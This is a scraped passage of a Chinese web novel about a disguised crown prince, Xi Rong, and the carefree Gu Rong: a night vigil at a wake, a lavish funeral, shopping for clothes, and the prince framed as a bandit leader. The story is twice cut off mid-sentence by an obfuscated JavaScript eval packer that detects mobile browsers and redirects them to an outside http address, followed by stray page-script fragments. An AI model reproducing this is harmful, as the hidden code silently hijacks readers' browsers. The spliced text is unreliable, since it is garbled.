奚融没置评,用木箸夹起一只荷叶丸子,递过去:“别总吃甜食,尝尝这个。” 顾容手里还拿着糕点,便直接张嘴咬住,心安理得接受了投喂。 无人打扰,两人不紧不慢吃完晚饭,外面天色也彻底黑了下来。 奚融将没吃完的食物重新收进食盒,留着下顿再吃,顾容要帮忙,他道:“不用,你起来走走,消消食去。” 顾容没有动,坐在一旁看他动作,说:“这怎么好意思。” “有什么不好意思。” 奚融将冷食热食严格区分开放进不同隔层,道:“我比你年长,多照顾你一些,是应该的。” 顾容便悠悠感叹:“真是无法想象,做你的弟弟妹妹该有多幸福。” “我怎就没有这样的好命。” 奚融动作顿了下,问:“就那么想做我弟弟?” 顾容满脸遗憾:“可惜这辈子是不成了,只能寄望下辈子了。” 奚融道:“那你最好别许这个愿望。” “为何?” “做我的弟弟妹妹,是享受不到这些待遇的。” “嗯?” 顾容颇意外看过去,像是判断这话真假。 “那要做你的什么?” “自己想。” 奚融头也不抬回。 顾容:“……” 顾容自然想不出个所以然。 只在心里漫无边际冒出一个荒唐念头,总不能投胎做你爹娘吧。 那真有些为难他了。 他还是更喜欢他们是平辈,这样可以坐在一起把酒言欢,喝多了就抵足而眠,做世上最好的兄弟,差辈多没意思。 可惜这辈子只是萍水相逢,连兄弟也做不成。 不过能有这么一段萍水相逢的缘分,也算得是人生一大乐事。 刘府人今夜竟罕见没有过来,也不知在忙什么大事。 因为灵堂大门要一直保持敞开状态,过了亥时,夜风转寒,穿堂而入,比白日冷得不是一点半点。再加上仆从都在隔壁耳房吃酒躲懒,整个屋子就更显得凄冷了。 奚融道:“冷就靠在我身上睡会儿,我替你看着。” 顾容端着最后一点良心,果断拒绝:“那怎么成,守灵赚钱的是我,又不是兄台你,兄台肯在这里陪我,已经是仁至义尽了。放心,我没那么娇气。” “是么?” “自然。其实我很会照顾人也很能吃苦的,只是跟兄台你在一起,才被比了下去。” 奚融道:“这种事有什么好比的。跟我在一起,你不用照顾任何人,更不用吃苦。” 顾容自顾笑了声。 奚融问:“笑什么?” 顾容:“我笑兄台你真是太霸道了。” “我又不可能一直跟你在一起,怎么能没有谋生手段呢,那样我会饿死的。” 奚融默了下。 说:“你可以与我一直在一起。” 顾容露出吃惊表情。 “那怎么可能。” “怎么不可能?” “你也看到了,我这个人懒得很,根本没有大追求,跟着你这样的大人物能做什么呀。” “你不需要有大追求,也不需要做什么。” 奚融神色认真。 顾容老神在在摇头。 “那更不成,白吃白喝多不好,时间久了,会被你嫌弃的。” “你可千万别再提什么救命之恩,一则,那日就算没有我出手相救,以你的本事,一定也有其他自救之法,二则,恩情这东西提多了,就不叫恩情,而叫挟恩相逼另有所图了。” 这下换奚融低低一笑。 顾容问:“你又笑什么?” 奚融慢条斯理道:“我笑,小郎君你看着随性洒脱,平易近人,其实很不好拐。我也笑,果然,你还是对他的仁义更多。” “嗯?谁?” “棺材里那个。” “……” 顾容咳咳两声。 “这不一样,我给他守灵,是为了赚钱,可不是出于仁义。” 顾容偏头,猝不及防对上一双幽寒深邃充满审视与探究的眸。 “你懂男人和男人之间的事么,就敢为这么一个死鬼穿上嫁衣?” 奚融语气忽沉沉。 顾容下意识问:“男人和男人之间的事?” “嗯。就像男人和女人之间的事。” 顾容并无任何羞赧色,清清嗓子,扬起下巴:“我当然懂。” “真懂?” “当然。这闲时读风月杂谈,也是一大乐趣。” “哦?小郎君都懂什么?” “……不就,男人和男人之间那点事么,有什么可说的。俗话说得好,非礼勿听,非礼勿视,兄台,你是读圣贤书的,又不是那登徒子,这样可大大不妥。” “你既然懂,难道没想过,我真的是一个不怀好意的登徒子?” “不可能。” “怎么说?” “世上哪有兄台你这般大方又体贴的登徒子,登徒子若都如兄台这般,也就不叫登徒子了。兄台你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14949184|159037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看就是那种正得不能再正的正人君子,我看人很准的。” “你说得对,算我失礼。” 对方一笑,又恢复了端严无暇的君子面孔。 灵堂里再度陷入寂静,只有掠入堂中的夜风吹动白幡飘荡。 “冷么?” 奚融又问。 今夜温度似乎格外低,顾容里面一件中衣,外面只穿了件单薄的喜袍,虽不愿意承认,还是老实点头。 “好像有点。” “靠我背上,我火力大。” “会不会压着你伤口?” “不会,你那么瘦,压不着。” “……那好吧。” 顾容便不再客气,心安理得靠了过去。 贴上那宽阔后背一瞬,一股熨帖温度果然隔着喜袍透了过来。 顾容舒服眯上眼睛,贴得更紧了一些。 奚融感受着后面的小动作,唇角轻一勾,闭目开始调息。 —— 后半夜,姜诚带着件厚实的氅衣悄悄进来。 到了近前,果然毫不意外看到那小郎君正靠在殿下背上,睡得香甜,身上竟然还盖着殿下的外袍。 殿下一面运功疗伤一面还得给他当人肉靠垫。 这像什么话! 偏殿下还乐意宠着纵着他。 姜诚只能当自己眼瞎看不见,也不敢说什么,展开氅衣,正要给奚融披上,便听奚融吩咐:“先给他盖上。” “…………” 姜诚麻木应是,甚至听了这样的命令,都不觉得有多意外了! 他只是实在不明白,就算真有意将这不靠谱的小郎君揽入东宫做幕僚,殿下是不是对其太无底线纵容了一些。东宫那么多幕僚,哪一个得殿下如此对待过。 好在他深刻记住了之前买粥的教训,早有准备,特意带了两件氅衣过来。 于是调转方向,依言照做,接着又展开第二件氅衣。 趁着给奚融披衣的间隙,压低声音禀道:“殿下所料不错,严鹤梅与崔九离开不久,那刘信就带着心腹悄悄出了刘府,往别庄去了,多半是调集他手下那些私兵,看来,他们要有所行动了。属下实在担心,殿下继续待在这里会有危险。” 奚融容色平淡,甚至透着一种平静冷酷,这种冷酷,姜诚很熟悉,只这几日情况特殊,才一直没有见到过。 “突然离开,反而更易引人怀疑。” “让宋阳盯紧崔氏那边,以崔氏做派,手中筹码,绝不会只有一个刘信。” “还有,我要知道刘信所有信息。” 奚融言简意赅下了三道命令。 姜诚正色应是,同时也明白,接下来东宫只怕要面临一次前所未有的危机。 —— 顾容第二日醒来,是躺在奚融腿上,身上盖着一件厚厚的氅衣,身下还铺着一件。 难怪这一觉睡得这么沉。 由于睡得太好,顾容甚至都忘了自己是在刘府的灵堂里。 坐起来,就见奚融依旧维持昨夜正襟危坐的姿势,在闭目调息。 对方身上依旧是那件玄色宽袍,顾容意识到什么,一怔,问:“兄台,你昨夜一夜没睡么?” 奚融睁开眼,神色很平常:“我在疗伤,本就睡不着,正好替你守着。” “放心,昨夜没什么事。” 顾容暗道罪过,赶紧把其中一件氅衣给奚融披到身上,由衷道:“兄台,你实在太惯着我了,怎么也不叫醒我,还让我睡在你腿上。你腿麻么,我给你揉一揉。” 奚融摇头。 “无事。” “你睡得好好的,没必要非得熬着。” “至于揉腿,怎么——你给别人揉过?” 顾容以为对方又怀疑自己技术,一笑。 “自然,我师承名家,我那些和尚师兄,可都排着队也轮不上。” “和尚?” 奚融眼睛蓦一眯,沉默了下去。 20.危机(二) 顾容含糊道:“之前游历时认识的,已经很久没有联系了。” “能得你以‘师兄’相称,想来,那些和尚的魅力应该都很大。” 好一会儿,奚融如是说。 顾容一笑,道:“本事谈不上多厉害,但人都还不错。” 奚融没再吭声。 两人并未就这个话题继续讨论,因刘府管事匆匆过来,并带来两套孝服,说今日刘府要提前给大公子下葬。 刘府到底是本地豪族,下葬时间虽提前了大半日,但整个丧仪的声势依旧浩大惊人,除了远超一般平民百姓的仪仗规格,刘信还请来三百和尚与三百道士在前诵经引路,给儿子祈福。队伍后面,光是用来拉随葬物品的马车就有三十多辆,每车都配有仆从若干,车上所装,俱是金银玉器和各类名贵宝物,送葬的队伍除了刘府亲眷、家仆,还有本地官员和官差,而位于正中的灵车,更是做工精致,用材名贵讲究,车盖与车壁皆镶金嵌玉,美轮美奂,华重无比。浩长的队伍几乎塞满了整整一条主干道,街两边全是围观的百姓。 姜诚也整了身孝服,混在丧葬队伍里,好随身保护奚融。 见到这场面,忍不住不忿感叹:“一个小小镇长的儿子,丧仪规格竟要赶上了三品大员了!” 跟着殿下在西南打仗穷怕了,姜诚甚至丧心病狂想,那座灵车若是拆了应当至少能抵数万大军三五日口粮。 便是从刘府棺材上扣几块玉下来,全换成窝头和干粮,应当也够一个营的将士吃上好几天了。 更别提那三十车金银玉器。 顾容懒洋洋抱着刘大公子的牌位,广袖舒展,和奚融一道坐在一辆牛车上。 因为顶着一个临时未亡人和未亡人娘家兄长的名分,两人不必和姜诚及仆从们一般步行,除了跟着刘家人惺惺作态掉两滴泪,顾容大部分时间都在优哉游哉看风景,偶尔被奚融面无表情投喂一口糕点。 听了这话,顾容笑道:“这还算中等规格的,去年县里李老爷家的葬礼那才叫盛大。” 旁边人立刻眼睛一亮:“小郎君也参加李老爷的葬礼了?” “是啊。兄台也是同道中人?” “同道同道,哎呀,去年我可是负责抬棺的,那叫一个风光,光赏金就得了好几贯,伙食也好得很,顿顿鸡鸭鱼肉。今年运气就不好咯,只捞到一个哭丧的活儿。” “这哭丧可大有讲究,兄台哭的第几道门?” “小郎君果然同道中人啊,我哭得还行,给安排的大门口,可架不住抢活的人多啊。我这卖力跪在街上哭了好几天,嗓子都快哭哑了,也才得了不到一贯钱。” 那人说完看着顾容怀里抱的牌位:“小郎君这是?” 顾容老成叹气:“和兄台一样,一点谋生手段。” “懂,懂,都是为了养家糊口嘛。” 一旁姜诚:“……” 他真是没耳朵听了。 忍不住看着说话的汉子:“兄弟,你人高马大的,就没想过干点正经营生?” 他问这话,也是含沙射影,想点一点那到处骗吃骗喝的小郎君。 汉子也不害臊,反而用无知的眼神看他一眼:“正经营生?什么正经营生?给豪族种地?还是干苦力?辛苦一年下来,还没我哭几天丧挣得多呢,说不准还得倒贴钱看病。这年头,再没比这更正经的营生了,你知道我费了多大功夫才抢到一个名额么。你啊这是站着说话不腰疼,正经营生要那么好干,谁愿意当孙子给别人哭丧。我自己爹死的时候,我都没哭这么伤心。” “我记得朝廷有严格限制豪族名下土地数量,你们自己的地呢?” 一直沉默的奚融忽开口。 汉子不屑一摆手:“自己的地?自己种地,你知道要交多少税么?傻子才自己种地。” “刘府的地难道不用交税?” 姜诚问。 “当然交,但这里面的学问可就大了。” 换顾容慢悠悠接口。 “这土地丈量是第一门学问,州官核查是第二门学问,当然,这两门学问还不算最紧要的,最紧要的是第三门学问,叫做‘朝中有人好种地’。” “可不是,小郎君是个明白人,谁不知道,那刘府背靠崔氏,昨日崔氏贵使还亲自到刘府吊丧,把整个曲阳县的官员都惊动了,这刘家大公子出丧,连县令都上赶着来送,松州府内,有几个豪族有这样的脸面。” 顾容摇头一笑。 一抬头,发现身旁年轻男子正眸深而专注望着自己,唇角含着一缕好整以暇的笑。 “你好像懂得很多。” 顾容浑不在意换了个坐姿。 “这算什么,随便瞎说而已。” 奚融挑眉:“你还给人哭过丧?” “…………” 顾容心虚清清嗓子。 “咳,就哭过那么一次,人家嫌我哭得不够大声,直接把我赶出去了。” “你生气了?” 见奚融不说话,只垂眸沉沉看着自己,顾容试探问。 但问完,顾容就觉得好怪。 他怕什么。 他们只是名义上的兄弟关系。 这又不是他的真兄长。 他为何要在意对方的想法。 奚融摇头。 “没有。” “我只是在想,你以前应该过得很辛苦。” 顾容一愣。 道:“其实,也还好,还好。” 这时,方才说话的汉子忽指着前方道:“快看,路祭要开始了,小兄弟,要不要一道过去,去给你和你兄长捡点东西去?” 换作以前,顾容肯定眼睛都不眨一下就答应了。 但眼下,毕竟要稍微注重一下形象,便矜持道:“我就不去了,兄台你自便。” “路祭,是什么?” 奚融开口问。 “就是路祭嘛。这大户人家出丧,哪个能少了路祭,越是家底丰厚,路祭规模越不能寒碜。看到那些挤在道边的人没有,全是等着抢祭品的。随便捡点,就相当于过年了。” 姜诚这才注意到,浩浩荡荡的丧葬队伍,不知何时停了下来。 前方不远的道路两边,果然人头攒动,挤满了百姓。 一个一身锦袍、管事模样的人走了出来,趾高气昂说了几句话,一拍掌,刘府一群仆从鱼贯而出,将各色祭品摆到道边。 姜诚睁大眼。 因那盛放祭品的容器,竟是清一色的金器。 守在道旁的百姓立刻一拥而上,去哄抢那些祭品。 奚融偏头问顾容:“想吃么?” 顾容一愣:“嗯?” 奚融已施施然下了牛车,与那汉子道:“我与你一块去。” 汉子笑道:“好啊,兄弟你长得高,肯定能抢到好的。” 片刻后,姜诚站在人流里,坚强挡住人流冲击,看着殿下面不改色将一只烧鸡揣进怀里,两眼望天恍恍惚惚想,他英明神武的殿下,不过和小骗子待了两日,竟已被同化至此? 葬礼结束已是午后。 顾容拿了银子,如约请奚融和姜诚一道到镇上一家酒楼里吃酒。 案上则摆着奚融抢来的那只烧鸡。 顾容笑眯眯感叹:“兄台你好厉害,竟然能抢到这样的好东西。” 姜诚只觉心梗。 凉飕飕道:“倒是难得能喝上小郎君请的酒。” 顾容依旧笑眯眯的:“客气客气。” “今日我买单,二位兄台随便点,咱们不醉不归。” 想起上回这小郎君醉酒的离谱模样,姜诚由衷道:“小郎君还是悠着点喝吧,免得又找不着回家的路。” 奚融撕下一条鸡腿,递到顾容手里,问:“喝完酒准备做什么?” 顾容举着鸡腿想了想。 “不直接回去么?兄台还有其他安排?” 奚融道:“逛逛衣裳铺子去吧。” 顾容了然点头。 是了,富贵人家的大少爷,已经好几天没换衣服了。 是该买新的了。 —— 松州盛产丝绸,朝廷贡缎有一大部分是来自松州,在松州府,街上最常见的便是大小衣裳铺子。 因为还有逛铺子这个行程,三人没有在酒馆待太久,只不过顾容馋酒,难得下山一趟,且囊中罕见阔绰,依旧让老板打包了两小坛带走。 奚融拎着酒,打听了几家比较有名的铺子位置,直接带着顾容去找地方,姜诚不敢多问,默默跟在后面。 走到长街拐角处,果然有一家规模不小的成衣铺。 三人一道进去,老板立刻热情迎上来:“贵客买成衣还是订做?” 顾容喝了不少酒,有些微醺,进了店,就直接解下钱袋,放到柜台上,豪阔道:“给我这位兄台选几套最时兴的春装,其他都不拘,一定要雅正贵气。” 奚融走过去,偏头问:“这不是你今日刚挣的银子?你要全花了给我买衣裳?” “自然。” 顾容乌眸弯弯。 “兄台陪我胡闹这么久,我难得阔绰一次,今日兄台随便买,我买单。” “那位兄台,你缺不缺衣裳?” 顾容问姜诚。 姜诚看着这明显又开始撒酒疯的小郎君,哪里敢接话。 “没问题,这位郎君器宇轩昂,昨日新到的两款就很适合您。” 老板笑着回,接着指着一件滚金边绣佛手纹的玄色锦袍,向奚融道,就要命伙计去取。 “颜色太暗了,要素雅一些的。” “尺寸——按我说的。” 奚融直接报了尺寸。 老板笑着记下,让伙计去按尺寸挑衣裳。 姜诚一愣。 殿下所报衣裳尺寸,显然不是殿下自己的,尤其是身高和腰围这种关键尺寸——尤其是腰,殿下虽常年习武,身材精壮干练,不似魏王一般大腹便便,但绝不可能有那么瘦的腰! 难道—— 姜诚看向那醺然靠在柜台上的小郎君。 搞半天,殿下纡尊降贵来逛这街边铺子,竟然是要给小骗子买衣裳?! 只是,殿下日理万机,如何会知道小骗子衣裳尺寸这种事! 老板很快捧了几套绸袍出来,都是青绿素白一类的素雅颜色。 “俱是新裁的春衫,用的是咱们松州府特有的明光绸,出了名的上乘好料,郎君看看可满意?” “喜欢么?” 奚融问顾容,眸光深处是姜诚从未见过的柔和。 顾容半醉不醉道:“兄台,你买衣裳,我说了不算的。” 奚融薄唇一勾:“我想听听你的意见。” “好,我给兄台看看。” 顾容认认真真挨个看过去,道:“我觉得都挺好看,但是——不如那件。” 顾容指着那件滚金边玄袍。 “那就都要了。” 这回,奚融是同老板道。 老板迅速明白了眼前状况,眉开眼笑应是,道:“这位小郎君风神明秀,身量颀长如玉,最适合穿明光绸的春衫了。” “我也觉得很合适。” “有鞋子么?” 奚融继续问。 “有,郎君是自己穿,还是——” “给舍弟买。” 奚融报了尺寸,道:“挑和衣裳颜色相配的。” “是,郎君稍待!” 老板便知是遇着了大主顾,亲自带着伙计去里面挑选样式。 老板选了五双出来。 奚融挑了其中两双,让伙计包起来。 老板礼貌性问:“郎君可要这位小郎君试一试?” 鞋子毕竟不比其他。 奚融直接道:“不用。” 语罢,直接从怀中另取出一个银袋,交给老板,将顾容的钱袋取回。 从成衣铺出来,已是傍晚,天边晚霞烧得如火如荼。 顾容虽有些醉,但并不影响走路,甚至还能如常与奚融说笑,奚融便在一旁,负袖静静听着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14955098|159037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 姜诚则抱着衣裳和鞋子,心情复杂跟在后面。 要不是清楚这小郎君的底细,也大概清楚殿下的招揽之心,他真是要怀疑殿下是被什么狐狸精迷了心窍。 三人一道出了城门,没走多远,就看到前方烟尘飞扬,一队官兵气势汹汹奔驰而来,吓得道旁百姓纷纷避让。 “县令大人有令,贼匪作乱,速速关闭城门,捉拿上月初七在曲阳县烧杀劫掠的匪徒!” 到了城门口,几名官兵勒马停下,翻身下马,将一张写在白纸上的告示贴在了城墙上,告示旁边还贴着一张画像。 上月初七,曲阳县发生了一桩极恶劣的悍匪劫掠事件,县里几家豪族皆被悍匪半夜破门而入,抢走大量金银珠宝,有一名族长的脑袋还被割下,悬在府门口。官府捉拿整整一月无果,但告示上称,昨日官兵有幸抓到一名落单的悍匪,重刑讯问下,悍匪不仅交代了匪首名称,还协助官府绘制了匪首的画像。告示上称,镇长刘信为彰显作为一镇之长的担当,还愿出赏金黄金百两,鼓励百姓主动检举匪首藏身之处。 姜诚站在人群外,看着张贴在城墙上的那张画像,只觉一阵恶寒从脚底直窜至背脊。 因那所谓匪首画像,虽然个别细节略有不同,但眉眼五官轮廓,几与殿下一般无二。 崔氏及崔氏麾下这些党羽,竟然猖狂狠毒到用这种借刀杀人的法子,明目张胆夺殿下性命! “公子,这——” 姜诚看向立在不远处的奚融。 奚融一手揽着顾容腰,淡漠收回视线,道:“先回去。” 一路回到山上,山月高悬半空,顾容酒也醒了大半。 到了院门口,顾容不由略略吃惊,因他那原本并不起眼的小院外,竟站了许多道人影,领头的是两个文士模样的人。 “咦?你们是?” 顾容歪头问。 “公子。” 宋阳与周闻鹤已经领着众人恭敬向奚融施礼,形容颇为狼狈。 奚融摘掉面具,先偏头,与顾容解释:“他们都是我的手下,是来寻我的。” “原来如此,兄台,你果然家大业大。” 顾容立刻转为笑吟吟。 与众人拱手为礼,道:“原来都是远道而来的朋友,失敬失敬。” 宋阳打量着这风神明秀的年轻人,忙回一礼:“想来小郎君就是救了我们公子的那位恩人了。” 顾容道:“凑巧而已,恩人万万不敢当。” “各位朋友,不如进去说话吧,我这小院不大,但茶水还是管够的。” 宋阳询望向奚融。 奚融点头。 宋阳怕吓着这小郎君,到底没敢让所有人都跟着进去,只和周闻鹤两人进了院,让侍卫们留在外面。 “实在是叨扰小郎君了。” 宋阳一面打量着这座位于山间的小院,一面愧怍道。 顾容抱臂引着众人进屋,道:“无妨的,左右我一个人住,没那么多讲究,诸位随意就好。” 到了屋里,顾容要去煮茶,被奚融阻止。 “我来就行。” 宋阳和周闻鹤忙起身要帮忙,亦被奚融制止。 二人只能惶恐坐回草席上,唯姜诚云淡风轻,表情十分镇定。 “兄台,你们聊,我去外面看看药草。” 等奚融煮好茶折返,顾容主动道。 奚融却道:“我们去院子里聊,你先吃些东西。” 他先给顾容倒了碗热茶,便当先拎着茶壶和茶碗出了屋门。 另外三人忙起身跟上。 顾容猜到对方应当有要事商议,坐回草席上,就着热茶简单吃了几口今日带回的糕点,便进了里面石洞。 洞里已经点着油灯,想来是奚融煮茶时顺手点亮的,连床也重新铺过了。 但真正令顾容愣住的,是石床上摆放的东西。 几套崭新的春衫和两双崭新的鞋子。 春衫先不必说,那两双鞋子,分明就是他穿的尺寸。 他醉酒醉糊涂了,竟然不知,对方逛成衣铺,竟然是为了给他买衣裳和鞋子。 顾容旋即想到什么,往腰间一摸,果然摸到了自己钱袋,钱袋里的银子依旧沉甸甸的,分毫未少。 一直到夜半时分,奚融方回到屋子。 顾容盘膝靠坐在石床上,闭着眼,并未睡,听到动静,就第一时间睁开了眼。 奚融立在石床前,玄色衣袍上带着山间夜独有的寒意,腰间罕见悬着长剑。 “吵着你了?” 他问。 顾容笑着摇头。 “没有,兄台你们说完事了么?” “嗯。” 奚融看向仍整齐摆放在石床上的春衫和鞋子,问:“有没有试一试尺寸?” 顾容道:“不用试。” “兄台,你实在是——” “容容,我大约要提前离开了。” 奚融忽开口。 顾容一愣。 反应了片刻这句话,旋即想到,他们本就是萍水相逢,对方离开实在太正常了,便问:“现在么?” “应当吧。” 奚融眸底沉淀着顾容从未见过的晦暗冰冷颜色。 顾容隐有所悟。 “因为你的仇家?” 奚融点头。 默了良久,道“若此次我能赢,一定回来找你。” 宋阳与周闻鹤一道站在院子里。 周闻鹤道:“我观察过地形,此地其实是一个极好的藏身之所,但殿下却执意离开,恐怕是——” “是怕连累里面那小郎君。” 宋阳接话。 —— 深夜刘府。 刘信被一阵急促拍门声惊醒。 披衣开门,却见是管事站在门口。 “大半夜的何事?” 刘信怒问。 管事道:“族长,有一名猎户,自称知晓‘匪首’藏身之处,主动前来检举!”